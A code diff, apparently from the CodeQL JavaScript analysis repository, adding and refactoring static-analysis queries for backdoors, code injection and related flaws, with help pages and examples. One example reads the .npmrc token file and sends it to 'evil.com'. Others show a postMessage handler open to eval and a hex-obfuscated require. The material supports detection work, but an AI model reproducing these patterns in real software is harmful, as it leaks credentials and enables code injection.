+#20030=* +exprs(#20030,44,#20028,0,"x && y") +#20031=@"loc,{#10000},3,7,3,12" +locations_default(#20031,#10000,3,7,3,12) +hasLocation(#20030,#20031) +enclosingStmt(#20030,#20028) +exprContainers(#20030,#20004) +#20032=* +exprs(#20032,79,#20030,0,"x") +#20033=@"loc,{#10000},3,7,3,7" +locations_default(#20033,#10000,3,7,3,7) +hasLocation(#20032,#20033) +enclosingStmt(#20032,#20028) +exprContainers(#20032,#20004) +literals("x","x",#20032) +bind(#20032,#20009) +#20034=* +exprs(#20034,79,#20030,1,"y") +#20035=@"loc,{#10000},3,12,3,12" +locations_default(#20035,#10000,3,12,3,12) +hasLocation(#20034,#20035) +enclosingStmt(#20034,#20028) +exprContainers(#20034,#20004) +literals("y","y",#20034) +bind(#20034,#20012) +#20036=* +stmts(#20036,1,#20028,1,"{}") +#20037=@"loc,{#10000},3,15,3,16" +locations_default(#20037,#10000,3,15,3,16) +hasLocation(#20036,#20037) +stmtContainers(#20036,#20004) +numlines(#20004,4,4,0) +#20038=* +lines(#20038,#20001,"function f(x,y) {"," +") +#20039=@"loc,{#10000},1,1,1,17" +locations_default(#20039,#10000,1,1,1,17) +hasLocation(#20038,#20039) +#20040=* +lines(#20040,#20001," if (x || y) {}"," +") +#20041=@"loc,{#10000},2,1,2,16" +locations_default(#20041,#10000,2,1,2,16) +hasLocation(#20040,#20041) +indentation(#10000,2," ",2) +#20042=* +lines(#20042,#20001," if (x && y) {}"," +") +#20043=@"loc,{#10000},3,1,3,16" +locations_default(#20043,#10000,3,1,3,16) +hasLocation(#20042,#20043) +indentation(#10000,3," ",2) +#20044=* +lines(#20044,#20001,"}"," +") +#20045=@"loc,{#10000},4,1,4,1" +locations_default(#20045,#10000,4,1,4,1) +hasLocation(#20044,#20045) +numlines(#20001,4,4,0) +#20046=* +tokeninfo(#20046,7,#20001,0,"function") +#20047=@"loc,{#10000},1,1,1,8" +locations_default(#20047,#10000,1,1,1,8) +hasLocation(#20046,#20047) +#20048=* +tokeninfo(#20048,6,#20001,1,"f") +hasLocation(#20048,#20007) +#20049=* +tokeninfo(#20049,8,#20001,2,"(") +#20050=@"loc,{#10000},1,11,1,11" +locations_default(#20050,#10000,1,11,1,11) +hasLocation(#20049,#20050) +#20051=* +tokeninfo(#20051,6,#20001,3,"x") +hasLocation(#20051,#20011) +#20052=* +tokeninfo(#20052,8,#20001,4,",") +#20053=@"loc,{#10000},1,13,1,13" +locations_default(#20053,#10000,1,13,1,13) +hasLocation(#20052,#20053) +#20054=* +tokeninfo(#20054,6,#20001,5,"y") +hasLocation(#20054,#20014) +#20055=* +tokeninfo(#20055,8,#20001,6,")") +#20056=@"loc,{#10000},1,15,1,15" +locations_default(#20056,#10000,1,15,1,15) +hasLocation(#20055,#20056) +#20057=* +tokeninfo(#20057,8,#20001,7,"{") +#20058=@"loc,{#10000},1,17,1,17" +locations_default(#20058,#10000,1,17,1,17) +hasLocation(#20057,#20058) +#20059=* +tokeninfo(#20059,7,#20001,8,"if") +#20060=@"loc,{#10000},2,3,2,4" +locations_default(#20060,#10000,2,3,2,4) +hasLocation(#20059,#20060) +#20061=* +tokeninfo(#20061,8,#20001,9,"(") +#20062=@"loc,{#10000},2,6,2,6" +locations_default(#20062,#10000,2,6,2,6) +hasLocation(#20061,#20062) +#20063=* +tokeninfo(#20063,6,#20001,10,"x") +hasLocation(#20063,#20023) +#20064=* +tokeninfo(#20064,8,#20001,11,"||") +#20065=@"loc,{#10000},2,9,2,10" +locations_default(#20065,#10000,2,9,2,10) +hasLocation(#20064,#20065) +#20066=* +tokeninfo(#20066,6,#20001,12,"y") +hasLocation(#20066,#20025) +#20067=* +tokeninfo(#20067,8,#20001,13,")") +#20068=@"loc,{#10000},2,13,2,13" +locations_default(#20068,#10000,2,13,2,13) +hasLocation(#20067,#20068) +#20069=* +tokeninfo(#20069,8,#20001,14,"{") +#20070=@"loc,{#10000},2,15,2,15" +locations_default(#20070,#10000,2,15,2,15) +hasLocation(#20069,#20070) +#20071=* +tokeninfo(#20071,8,#20001,15,"}") +#20072=@"loc,{#10000},2,16,2,16" +locations_default(#20072,#10000,2,16,2,16) +hasLocation(#20071,#20072) +#20073=* +tokeninfo(#20073,7,#20001,16,"if") +#20074=@"loc,{#10000},3,3,3,4" +locations_default(#20074,#10000,3,3,3,4) +hasLocation(#20073,#20074) +#20075=* +tokeninfo(#20075,8,#20001,17,"(") +#20076=@"loc,{#10000},3,6,3,6" +locations_default(#20076,#10000,3,6,3,6) +hasLocation(#20075,#20076) +#20077=* +tokeninfo(#20077,6,#20001,18,"x") +hasLocation(#20077,#20033) +#20078=* +tokeninfo(#20078,8,#20001,19,"&&") +#20079=@"loc,{#10000},3,9,3,10" +locations_default(#20079,#10000,3,9,3,10) +hasLocation(#20078,#20079) +#20080=* +tokeninfo(#20080,6,#20001,20,"y") +hasLocation(#20080,#20035) +#20081=* +tokeninfo(#20081,8,#20001,21,")") +#20082=@"loc,{#10000},3,13,3,13" +locations_default(#20082,#10000,3,13,3,13) +hasLocation(#20081,#20082) +#20083=* +tokeninfo(#20083,8,#20001,22,"{") +#20084=@"loc,{#10000},3,15,3,15" +locations_default(#20084,#10000,3,15,3,15) +hasLocation(#20083,#20084) +#20085=* +tokeninfo(#20085,8,#20001,23,"}") +#20086=@"loc,{#10000},3,16,3,16" +locations_default(#20086,#10000,3,16,3,16) +hasLocation(#20085,#20086) +#20087=* +tokeninfo(#20087,8,#20001,24,"}") +hasLocation(#20087,#20045) +#20088=* +tokeninfo(#20088,0,#20001,25,"") +#20089=@"loc,{#10000},5,1,5,0" +locations_default(#20089,#10000,5,1,5,0) +hasLocation(#20088,#20089) +#20090=* +entry_cfg_node(#20090,#20001) +#20091=@"loc,{#10000},1,1,1,0" +locations_default(#20091,#10000,1,1,1,0) +hasLocation(#20090,#20091) +#20092=* +exit_cfg_node(#20092,#20001) +hasLocation(#20092,#20089) +successor(#20004,#20092) +#20093=* +entry_cfg_node(#20093,#20004) +hasLocation(#20093,#20091) +#20094=* +exit_cfg_node(#20094,#20004) +#20095=@"loc,{#10000},4,2,4,1" +locations_default(#20095,#10000,4,2,4,1) +hasLocation(#20094,#20095) +successor(#20016,#20018) +successor(#20028,#20030) +successor(#20030,#20032) +#20096=* +guard_node(#20096,1,#20032) +hasLocation(#20096,#20033) +successor(#20096,#20034) +#20097=* +guard_node(#20097,0,#20032) +hasLocation(#20097,#20033) +successor(#20097,#20094) +successor(#20032,#20096) +successor(#20032,#20097) +#20098=* +guard_node(#20098,1,#20034) +hasLocation(#20098,#20035) +successor(#20098,#20036) +#20099=* +guard_node(#20099,0,#20034) +hasLocation(#20099,#20035) +successor(#20099,#20094) +successor(#20034,#20098) +successor(#20034,#20099) +successor(#20036,#20094) +successor(#20018,#20020) +successor(#20020,#20022) +#20100=* +guard_node(#20100,1,#20022) +hasLocation(#20100,#20023) +successor(#20100,#20026) +#20101=* +guard_node(#20101,0,#20022) +hasLocation(#20101,#20023) +successor(#20101,#20024) +successor(#20022,#20100) +successor(#20022,#20101) +#20102=* +guard_node(#20102,1,#20024) +hasLocation(#20102,#20025) +successor(#20102,#20026) +#20103=* +guard_node(#20103,0,#20024) +hasLocation(#20103,#20025) +successor(#20103,#20028) +successor(#20024,#20102) +successor(#20024,#20103) +successor(#20026,#20028) +successor(#20013,#20016) +successor(#20010,#20013) +successor(#20093,#20010) +successor(#20006,#20004) +successor(#20090,#20006) +numlines(#10000,4,4,0) +filetype(#10000,"typescript") diff --git a/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql b/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql index bd7d8fe9f14..d322b13bbe3 100644 --- a/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql +++ b/javascript/ql/src/Declarations/MixedStaticInstanceThisAccess.ql @@ -17,33 +17,31 @@ predicate hasMethod(ClassDefinition base, string name, MethodDefinition m) { } /** -* Holds if `access` is in`fromMethod`, and it references `toMethod` through `this`. +* Holds if `access` is in`fromMethod`, and it references `toMethod` through `this`, +* where `fromMethod` and `toMethod` are of kind `fromKind` and `toKind`, respectively. */ -predicate isLocalMethodAccess(PropAccess access, MethodDefinition fromMethod, MethodDefinition toMethod) { - hasMethod(fromMethod.getDeclaringClass(), access.getPropertyName(), toMethod) and - access.getEnclosingFunction() = fromMethod.getBody() and - access.getBase() instanceof ThisExpr +predicate isLocalMethodAccess(PropAccess access, MethodDefinition fromMethod, string fromKind, + MethodDefinition toMethod, string toKind) { + hasMethod(fromMethod.getDeclaringClass(), access.getPropertyName(), toMethod) and + access.getEnclosingFunction() = fromMethod.getBody() and + access.getBase() instanceof ThisExpr and + fromKind = getKind(fromMethod) and + toKind = getKind(toMethod) } string getKind(MethodDefinition m) { - if m.isStatic() then result = "static" else result = "instance" + if m.isStatic() then result = "static" else result = "instance" } from PropAccess access, MethodDefinition fromMethod, MethodDefinition toMethod, string fromKind, string toKind where - isLocalMethodAccess(access, fromMethod, toMethod) and - fromKind = getKind(fromMethod) and - toKind = getKind(toMethod) and + isLocalMethodAccess(access, fromMethod, fromKind, toMethod, toKind) and toKind != fromKind and - not toKind = fromKind and // exceptions not ( // the class has a second member with the same name and the right kind - exists (MethodDefinition toMethodWithSameKind | - isLocalMethodAccess(access, fromMethod, toMethodWithSameKind) and - fromKind = getKind(toMethodWithSameKind) - ) + isLocalMethodAccess(access, fromMethod, _, _, fromKind) or // there is a dynamically assigned second member with the same name and the right kind exists (AnalyzedPropertyWrite apw, AbstractClass declaringClass, AbstractValue base | diff --git a/javascript/ql/src/Expressions/DOMProperties.qll b/javascript/ql/src/Expressions/DOMProperties.qll index 368bba5beeb..9ed6db0e4c1 100644 --- a/javascript/ql/src/Expressions/DOMProperties.qll +++ b/javascript/ql/src/Expressions/DOMProperties.qll @@ -12,6 +12,7 @@ predicate isDOMRootType(ExternalType et) { } /** Holds if `p` is declared as a property of a DOM class or interface. */ +pragma[nomagic] predicate isDOMProperty(string p) { exists (ExternalMemberDecl emd | emd.getName() = p | isDOMRootType(emd.getDeclaringType().getASupertype*()) diff --git a/javascript/ql/src/Expressions/SuspiciousInvocation.ql b/javascript/ql/src/Expressions/SuspiciousInvocation.ql index 1f1961ab445..902fbd5abda 100644 --- a/javascript/ql/src/Expressions/SuspiciousInvocation.ql +++ b/javascript/ql/src/Expressions/SuspiciousInvocation.ql @@ -16,5 +16,6 @@ private import semmle.javascript.dataflow.InferredTypes from InvokeExpr invk, DataFlow::AnalyzedNode callee where callee.asExpr() = invk.getCallee() and forex (InferredType tp | tp = callee.getAType() | tp != TTFunction() and tp != TTClass()) and - not invk.isAmbient() + not invk.isAmbient() and + not invk instanceof OptionalUse select invk, "Callee is not a function: it has type " + callee.ppTypes() + "." \ No newline at end of file diff --git a/javascript/ql/src/Expressions/SuspiciousPropAccess.ql b/javascript/ql/src/Expressions/SuspiciousPropAccess.ql index 2b81203d3c0..946c6d78418 100644 --- a/javascript/ql/src/Expressions/SuspiciousPropAccess.ql +++ b/javascript/ql/src/Expressions/SuspiciousPropAccess.ql @@ -32,5 +32,6 @@ from PropAccess pacc, DataFlow::AnalyzedNode base where base.asExpr() = pacc.getBase() and forex (InferredType tp | tp = base.getAType() | tp = TTNull() or tp = TTUndefined()) and not namespaceOrConstEnumAccess(pacc.getBase()) and - not pacc.isAmbient() + not pacc.isAmbient() and + not pacc instanceof OptionalUse select pacc, "The base expression of this property access is always " + base.ppTypes() + "." diff --git a/javascript/ql/src/LanguageFeatures/InconsistentNew.ql b/javascript/ql/src/LanguageFeatures/InconsistentNew.ql index 05ab926cc2b..a9fa57cfce6 100644 --- a/javascript/ql/src/LanguageFeatures/InconsistentNew.ql +++ b/javascript/ql/src/LanguageFeatures/InconsistentNew.ql @@ -56,26 +56,60 @@ predicate calls(DataFlow::InvokeNode cs, Function callee, int imprecision) { /** * Gets a function that may be invoked at `cs`, preferring callees that - * are less likely to be derived due to analysis imprecision. + * are less likely to be derived due to analysis imprecision and excluding + * whitelisted call sites and callees. Additionally, `isNew` is bound to + * `true` if `cs` is a `new` expression, and to `false` otherwise. */ -Function getALikelyCallee(DataFlow::InvokeNode cs) { - calls(cs, result, min(int p | calls(cs, _, p))) +Function getALikelyCallee(DataFlow::InvokeNode cs, boolean isNew) { + calls(cs, result, min(int p | calls(cs, _, p))) and + not cs.isUncertain() and + not whitelistedCall(cs) and + not whitelistedCallee(result) and + (cs instanceof DataFlow::NewNode and isNew = true + or + cs instanceof DataFlow::CallNode and isNew = false) +} + +/** + * Holds if `f` should be whitelisted, either because it guards against + * inconsistent `new` or we do not want to report it. + */ +predicate whitelistedCallee(Function f) { + // externs are special, so don't flag them + f.inExternsFile() or + // illegal constructor calls are flagged by query 'Illegal invocation', + // so don't flag them + f instanceof Constructor or + // if `f` itself guards against missing `new`, don't flag it + guardsAgainstMissingNew(f) +} + +/** + * Holds if `call` should be whitelisted because it cannot cause problems + * with inconsistent `new`. + */ +predicate whitelistedCall(DataFlow::CallNode call) { + // super constructor calls behave more like `new`, so don't flag them + call.asExpr() instanceof SuperCall or + // don't flag if there is a receiver object + exists(call.getReceiver()) +} + +/** + * Get the `new` or call (depending on whether `isNew` is true or false) of `f` + * that comes first under a lexicographical ordering by file path, start line + * and start column. + */ +DataFlow::InvokeNode getFirstInvocation(Function f, boolean isNew) { + result = min(DataFlow::InvokeNode invk, string path, int line, int col | + f = getALikelyCallee(invk, isNew) and invk.hasLocationInfo(path, line, col, _, _) | + invk order by path, line, col + ) } from Function f, DataFlow::NewNode new, DataFlow::CallNode call -where // externs are special, so don't flag them - not f.inExternsFile() and - // illegal constructor calls are flagged by query 'Illegal invocation', - // so don't flag them - not f instanceof Constructor and - f = getALikelyCallee(new) and - f = getALikelyCallee(call) and - not guardsAgainstMissingNew(f) and - not new.isUncertain() and - not call.isUncertain() and - // super constructor calls behave more like `new`, so don't flag them - not call.asExpr() instanceof SuperCall and - // don't flag if there is a receiver object - not exists(call.getReceiver()) -select (FirstLineOf)f, capitalize(f.describe()) + " is invoked as a constructor here $@, " + - "and as a normal function here $@.", new, new.toString(), call, call.toString() +where new = getFirstInvocation(f, true) and + call = getFirstInvocation(f, false) +select (FirstLineOf)f, capitalize(f.describe()) + " is sometimes invoked as a constructor " + + "(for example $@), and sometimes as a normal function (for example $@).", + new, "here", call, "here" diff --git a/javascript/ql/src/META-INF/MANIFEST.MF b/javascript/ql/src/META-INF/MANIFEST.MF deleted file mode 100644 index 4313cac94f7..00000000000 --- a/javascript/ql/src/META-INF/MANIFEST.MF +++ /dev/null @@ -1,8 +0,0 @@ -Manifest-Version: 1.0 -Bundle-ManifestVersion: 2 -Bundle-Name: Semmle JavaScript Default Queries -Bundle-SymbolicName: com.semmle.plugin.semmlecode.javascript.queries;singleton:=true -Bundle-Version: 1.18.3.qualifier -Bundle-Vendor: Semmle Ltd. -Bundle-ActivationPolicy: lazy -Require-Bundle: com.semmle.plugin.qdt.ui;bundle-version="[1.18.3.qualifier,1.18.3.qualifier]" diff --git a/javascript/ql/src/Security/CWE-020/IncorrectSuffixCheck.ql b/javascript/ql/src/Security/CWE-020/IncorrectSuffixCheck.ql index 06cda4df3cd..4223db7e3df 100644 --- a/javascript/ql/src/Security/CWE-020/IncorrectSuffixCheck.ql +++ b/javascript/ql/src/Security/CWE-020/IncorrectSuffixCheck.ql @@ -78,17 +78,21 @@ predicate isDerivedFromLength(DataFlow::Node length, DataFlow::Node operand) { exists (IndexOfCall call | operand = call.getAnOperand() | length = getStringSource(operand).getAPropertyRead("length") or - // Find a literal length with the same string constant - exists (LiteralLengthExpr lengthExpr | - lengthExpr.getContainer() = call.getContainer() and - lengthExpr.getBaseValue() = operand.asExpr().getStringValue() and - length = lengthExpr.flow()) - or - // Find an integer constants that equals the length of string constant - exists (Expr lengthExpr | - lengthExpr.getContainer() = call.getContainer() and - lengthExpr.getIntValue() = operand.asExpr().getStringValue().length() and - length = lengthExpr.flow()) + exists (string val | val = operand.asExpr().getStringValue() | + // Find a literal length with the same string constant + exists (LiteralLengthExpr lengthExpr | + lengthExpr.getContainer() = call.getContainer() and + lengthExpr.getBaseValue() = val and + length = lengthExpr.flow() + ) + or + // Find an integer constant that equals the length of string constant + exists (Expr lengthExpr | + lengthExpr.getContainer() = call.getContainer() and + lengthExpr.getIntValue() = val.length() and + length = lengthExpr.flow() + ) + ) ) or isDerivedFromLength(length.getAPredecessor(), operand) diff --git a/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.qhelp b/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.qhelp new file mode 100644 index 00000000000..c655b2b7881 --- /dev/null +++ b/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.qhelp @@ -0,0 +1,53 @@ + + + + +

    +Calling a user-controlled method on certain objects can lead to invocation of unsafe functions, +such as eval or the Function constructor. In particular, the global object +contains the eval function, and any function object contains the Function constructor +in its constructor property. +

    +
    + + +

    +Avoid invoking user-controlled methods on the global object or on any function object. +Whitelist the permitted method names or change the type of object the methods are stored on. +

    +
    + + +

    +In the following example, a message from the document's parent frame can invoke the play +or pause method. However, it can also invoke eval. +A malicious website could embed the page in an iframe and execute arbitrary code by sending a message +with the name eval. +

    + + + +

    +Instead of storing the API methods in the global scope, put them in an API object or Map. It is also good +practice to prevent invocation of inherited methods like toString and valueOf. +

    + + + +
    + + +
  • +OWASP: +Code Injection. +
  • +
  • +MDN: Global functions. +
  • +
  • +MDN: Function constructor. +
  • +
    +
    diff --git a/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.ql b/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.ql new file mode 100644 index 00000000000..b0715177412 --- /dev/null +++ b/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.ql @@ -0,0 +1,17 @@ +/** + * @name Unsafe dynamic method access + * @description Invoking user-controlled methods on certain objects can lead to remote code execution. + * @kind path-problem + * @problem.severity error + * @precision high + * @id js/unsafe-dynamic-method-access + * @tags security + * external/cwe/cwe-094 + */ +import javascript +import semmle.javascript.security.dataflow.UnsafeDynamicMethodAccess::UnsafeDynamicMethodAccess +import DataFlow::PathGraph + +from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink +where cfg.hasFlowPath(source, sink) +select sink, source, sink, "Invocation of method derived from $@ may lead to remote code execution.", source.getNode(), "user-controlled value" diff --git a/javascript/ql/src/Security/CWE-094/examples/UnsafeDynamicMethodAccess.js b/javascript/ql/src/Security/CWE-094/examples/UnsafeDynamicMethodAccess.js new file mode 100644 index 00000000000..ec4a3a8d9d7 --- /dev/null +++ b/javascript/ql/src/Security/CWE-094/examples/UnsafeDynamicMethodAccess.js @@ -0,0 +1,14 @@ +// API methods +function play(data) { + // ... +} +function pause(data) { + // ... +} + +window.addEventListener("message", (ev) => { + let message = JSON.parse(ev.data); + + // Let the parent frame call the 'play' or 'pause' function + window[message.name](message.payload); +}); diff --git a/javascript/ql/src/Security/CWE-094/examples/UnsafeDynamicMethodAccessGood.js b/javascript/ql/src/Security/CWE-094/examples/UnsafeDynamicMethodAccessGood.js new file mode 100644 index 00000000000..1636507ba3b --- /dev/null +++ b/javascript/ql/src/Security/CWE-094/examples/UnsafeDynamicMethodAccessGood.js @@ -0,0 +1,19 @@ +// API methods +let api = { + play: function(data) { + // ... + }, + pause: function(data) { + // ... + } +}; + +window.addEventListener("message", (ev) => { + let message = JSON.parse(ev.data); + + // Let the parent frame call the 'play' or 'pause' function + if (!api.hasOwnProperty(message.name)) { + return; + } + api[message.name](message.payload); +}); diff --git a/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp b/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp new file mode 100644 index 00000000000..6b4cb30de37 --- /dev/null +++ b/javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp @@ -0,0 +1,37 @@ + + + + +

    + Sending local file system data to a remote URL without further + validation risks uncontrolled information exposure, and may be + an indication of malicious backdoor code that has been + implanted into an otherwise trusted code base. +

    +
    + + +

    + Examine the highlighted code closely to ensure that it is + behaving as intended. +

    +
    + + +

    + The following example is adapted from backdoor code that was identified in two + popular npm packages. It reads the contents of the .npmrc file + (which may contain secret npm tokens) and sends it to a remote server by + embedding it into an HTTP request header. +

    + +
    + + +
  • ESLint Blog: Postmortem for Malicious Packages Published on July 12th, 2018.
  • +
  • OWASP: Sensitive Data Exposure.
  • +
  • OWASP: Trojan Horse.
  • +
    +
    diff --git a/javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js b/javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js new file mode 100644 index 00000000000..4509c3c6cc7 --- /dev/null +++ b/javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js @@ -0,0 +1,10 @@ +var fs = require("fs"), + https = require("https"); + +var content = fs.readFileSync(".npmrc", "utf8"); +https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: content } +}, () => { }); diff --git a/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.qhelp b/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.qhelp index bfdd32b645e..c93ab4d09f6 100644 --- a/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.qhelp +++ b/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.qhelp @@ -6,31 +6,22 @@

    Dynamically computing object property names from untrusted input - may have multiple undesired consequences. For example, - if the property access is used as part of a write, an - attacker may overwrite vital properties of objects, such as - __proto__. This attack is known as prototype - pollution attack and may serve as a vehicle for denial-of-service - attacks. A similar attack vector, is to replace the - toString property of an object with a primitive. - Whenever toString is then called on that object, either - explicitly or implicitly as part of a type coercion, an exception + may have multiple undesired consequences. For example, + if the property access is used as part of a write, an + attacker may overwrite vital properties of objects, such as + __proto__. This attack is known as prototype + pollution attack and may serve as a vehicle for denial-of-service + attacks. A similar attack vector, is to replace the + toString property of an object with a primitive. + Whenever toString is then called on that object, either + explicitly or implicitly as part of a type coercion, an exception will be raised.

    - Moreover, if the dynamically computed property is - used as part of a method call, the attacker may trigger - the execution of unwanted functions such as the - Function constructor or the - eval method, which can be used - for code injection. -

    - -

    - Additionally, if the name of an HTTP header is user-controlled, - an attacker may exploit this to overwrite security-critical headers - such as Access-Control-Allow-Origin or + Moreover, if the name of an HTTP header is user-controlled, + an attacker may exploit this to overwrite security-critical headers + such as Access-Control-Allow-Origin or Content-Security-Policy.

    @@ -38,57 +29,57 @@

    The most common case in which prototype pollution vulnerabilities arise - is when JavaScript objects are used for implementing map data - structures. This case should be avoided whenever possible by using the - ECMAScript 2015 Map instead. When this is not possible, an - alternative fix is to prepend untrusted input with a marker character - such as $, before using it in properties accesses. In this way, - the attacker does not have access to built-in properties which do not - start with the chosen character. + is when JavaScript objects are used for implementing map data + structures. This case should be avoided whenever possible by using the + ECMAScript 2015 Map instead. When this is not possible, an + alternative fix is to prepend untrusted input with a marker character + such as $, before using it in properties accesses. In this way, + the attacker does not have access to built-in properties which do not + start with the chosen character.

    - When using user input as part of header or method names, a sanitization - step should be performed on the input to ensure that the name does not - clash with existing property and header names such as - __proto__ or Content-Security-Policy. + When using user input as part of a header name, a sanitization + step should be performed on the input to ensure that the name does not + clash with existing header names such as + Content-Security-Policy.

    - In the example below, the dynamically computed property - prop is accessed on myObj using a + In the example below, the dynamically computed property + prop is accessed on myObj using a user-controlled value.

    - This is not secure since an attacker may exploit this code to + This is not secure since an attacker may exploit this code to overwrite the property __proto__ with an empty function. - If this happens, the concatenation in the console.log - argument will fail with a confusing message such as + If this happens, the concatenation in the console.log + argument will fail with a confusing message such as "Function.prototype.toString is not generic". If the application does not properly handle this error, this scenario may result in a serious - denial-of-service attack. The fix is to prepend the user-controlled - string with a marker character such as $ which will - prevent arbitrary property names from being overwritten. + denial-of-service attack. The fix is to prepend the user-controlled + string with a marker character such as $ which will + prevent arbitrary property names from being overwritten.

    -
  • Prototype pollution attacks: +
  • Prototype pollution attacks: electron, lodash, hoek.
  • -
  • Penetration testing report: +
  • Penetration testing report: header name injection attack
  • -
  • npm blog post: +
  • npm blog post: dangers of square bracket notation
  • diff --git a/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.ql b/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.ql index 4457899f6b3..1dafa5b2dfc 100644 --- a/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.ql +++ b/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.ql @@ -1,8 +1,7 @@ /** * @name Remote property injection - * @description Allowing writes to arbitrary properties or calls to arbitrary - * methods of an object may lead to denial-of-service attacks. - * + * @description Allowing writes to arbitrary properties of an object may lead to + * denial-of-service attacks. * @kind path-problem * @problem.severity warning * @precision medium diff --git a/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.qhelp b/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.qhelp new file mode 100644 index 00000000000..0c8c9015da5 --- /dev/null +++ b/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.qhelp @@ -0,0 +1,46 @@ + + + + +

    +Interpreting hard-coded data, such as string literals containing hexadecimal numbers, +as code or as an import path is typical of malicious backdoor code that has been +implanted into an otherwise trusted code base and is trying to hide its true purpose +from casual readers or automated scanning tools. +

    +
    + + +

    +Examine the code in question carefully to ascertain its provenance and its true purpose. +If the code is benign, it should always be possible to rewrite it without relying +on dynamically interpreting data as code, improving both clarity and safety. +

    +
    + + +

    +As an example of malicious code using this obfuscation technique, consider the following +simplified version of a snippet of backdoor code that was discovered in a dependency of +the popular event-stream npm package: +

    + +

    +While this shows only the first few lines of code, it already looks very suspicious +since it takes a hard-coded string literal, hex-decodes it and then uses it as an +import path. The only reason to do so is to hide the name of the file being imported. +

    +
    + + +
  • +OWASP: +Trojan Horse. +
  • +
  • +The npm Blog: +Details about the event-stream incident. +
  • +
    + +
    diff --git a/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.ql b/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.ql new file mode 100644 index 00000000000..e274ac45d37 --- /dev/null +++ b/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.ql @@ -0,0 +1,22 @@ +/** + * @name Hard-coded data interpreted as code + * @description Transforming hard-coded data (such as hexadecimal constants) into code + * to be executed is a technique often associated with backdoors and should + * be avoided. + * @kind path-problem + * @problem.severity error + * @precision medium + * @id js/hardcoded-data-interpreted-as-code + * @tags security + * external/cwe/cwe-506 + */ + +import javascript +import semmle.javascript.security.dataflow.HardcodedDataInterpretedAsCode::HardcodedDataInterpretedAsCode +import DataFlow::PathGraph + +from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink +where cfg.hasFlowPath(source, sink) +select sink.getNode(), source, sink, + "Hard-coded data from $@ is interpreted as " + sink.getNode().(Sink).getKind() + ".", + source.getNode(), "here" diff --git a/javascript/ql/src/Security/CWE-506/examples/HardcodedDataInterpretedAsCode.js b/javascript/ql/src/Security/CWE-506/examples/HardcodedDataInterpretedAsCode.js new file mode 100644 index 00000000000..dcf862d194e --- /dev/null +++ b/javascript/ql/src/Security/CWE-506/examples/HardcodedDataInterpretedAsCode.js @@ -0,0 +1,8 @@ +var r = require; + +function e(r) { + return Buffer.from(r, "hex").toString() +} + +// BAD: hexadecimal constant decoded and interpreted as import path +var n = r(e("2e2f746573742f64617461")); diff --git a/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.qhelp b/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.qhelp new file mode 100644 index 00000000000..924f0f7bbd3 --- /dev/null +++ b/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.qhelp @@ -0,0 +1,86 @@ + + + + +

    +JavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods +can be looked up by name and then called. However, if the method name is user-controlled, an attacker +could choose a name that makes the application invoke an unexpected method, which may cause a runtime +exception. If this exception is not handled, it could be used to mount a denial-of-service attack. +

    +

    +For example, there might not be a method of the given name, or the result of the lookup might not be +a function. In either case the method call will throw a TypeError at runtime. +

    +

    +Another, more subtle example is where the result of the lookup is a standard library method from +Object.prototype, which most objects have on their prototype chain. Examples of such +methods include valueOf, hasOwnProperty and __defineSetter__. +If the method call passes the wrong number or kind of arguments to these methods, they will +throw an exception. +

    +
    + + +

    +It is best to avoid dynamic method lookup involving user-controlled names altogether, for instance +by using a Map instead of a plain object. +

    +

    +If the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At +the very least, check that the method is an own property and not inherited from the prototype object. +If the object on which the method is looked up contains properties that are not methods, you +should additionally check that the result of the lookup is a function. Even if the object only +contains methods, it is still a good idea to perform this check in case other properties are +added to the object later on. +

    +
    + + +

    +In the following example, an HTTP request parameter action property is used to dynamically +look up a function in the actions map, which is then invoked with the payload +parameter as its argument. +

    + + + +

    +The intention is to allow clients to invoke the play or pause method, but there +is no check that action is actually the name of a method stored in actions. +If, for example, action is rewind, action will be undefined +and the call will result in a runtime error. +

    + +

    +The easiest way to prevent this is to turn actions into a Map and using +Map.prototype.has to check whether the method name is valid before looking it up. +

    + + + +

    +If actions cannot be turned into a Map, a hasOwnProperty +check should be added to validate the method name: +

    + + + +
    + + +
  • +OWASP: +Denial of Service. +
  • +
  • +MDN: Map. +
  • +
  • +MDN: Object.prototype. +
  • +
    + +
